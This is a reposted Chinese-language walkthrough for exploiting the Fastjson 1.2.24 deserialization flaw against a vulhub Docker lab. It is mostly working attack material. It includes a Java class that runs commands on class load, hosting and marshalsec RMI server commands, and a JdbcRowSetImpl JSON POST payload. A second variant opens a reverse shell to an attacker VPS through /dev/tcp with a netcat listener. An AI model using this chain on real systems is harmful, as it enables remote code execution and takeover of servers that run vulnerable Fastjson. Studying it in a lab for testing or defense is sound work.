Fastjson <=1.2.24-反序列化-任意命令執行


漏洞分析

https://www.secpulse.com/archives/72391.html

 

復現參考

https://www.cnblogs.com/hack404/p/11980791.html

https://www.cnblogs.com/tr1ple/p/11431543.html

https://www.cnblogs.com/escape-w/p/11322845.html

 

環境搭建

https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce

搭建完成后訪問  8090端口

 

 

 

接着在自己的vps里開啟rmi或者ldap服務

推薦使用marshalsec快速開啟rmi或ldap服務

地址:

git clone https://github.com/mbechler/marshalsec

下載marshalsec,使用maven編譯jar包

mvn clean package -DskipTests

安裝完成好后,新建文件,復制代碼,命名為TouchFile.java   (注:紅體就是要執行的命令,每次換命令,都要重新編譯文件)

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

進行編譯成class文件,會生成TouchFile.class文件

javac TouchFile.java

 

 

然后搭起服務,要測試能直連 TouchFile.class   ,才會執行文件里的命令

python -m SimpleHTTPServer 4444

 

開啟rmi或ldap服務      4444是上方服務的端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP:4444/#TouchFile" 9999

 

 然后上poc

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://vpsIP:9999/TouchFile",
        "autoCommit":true
    }
}

 

 

 這邊監聽的就返回連接了

 

 

由於是docker搭建的環境,所以要docker里的/tmp 查看 ,而不是當前的/tmp

比如 "touch", "/tmp/success

 

反彈shell    

替換代碼,修改,然后編譯,步驟和上面一樣

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();


String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/vpsIP/7777 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

 監聽端口

  nc -lvnp 7777

 

 成功反彈

 

 

 總結一下:

1.利用java編譯好執行命令的文件

2.python -m SimpleHTTPServer 4444   構建好服務,才能在poc里能訪問到TouchFile.class執行命令

3.利用java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP:4444/#TouchFile" 9999  搭建好通訊監聽,poc里訪問這個9999端口就和4444端口通訊了,然后執行了TouchFile.class命令

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM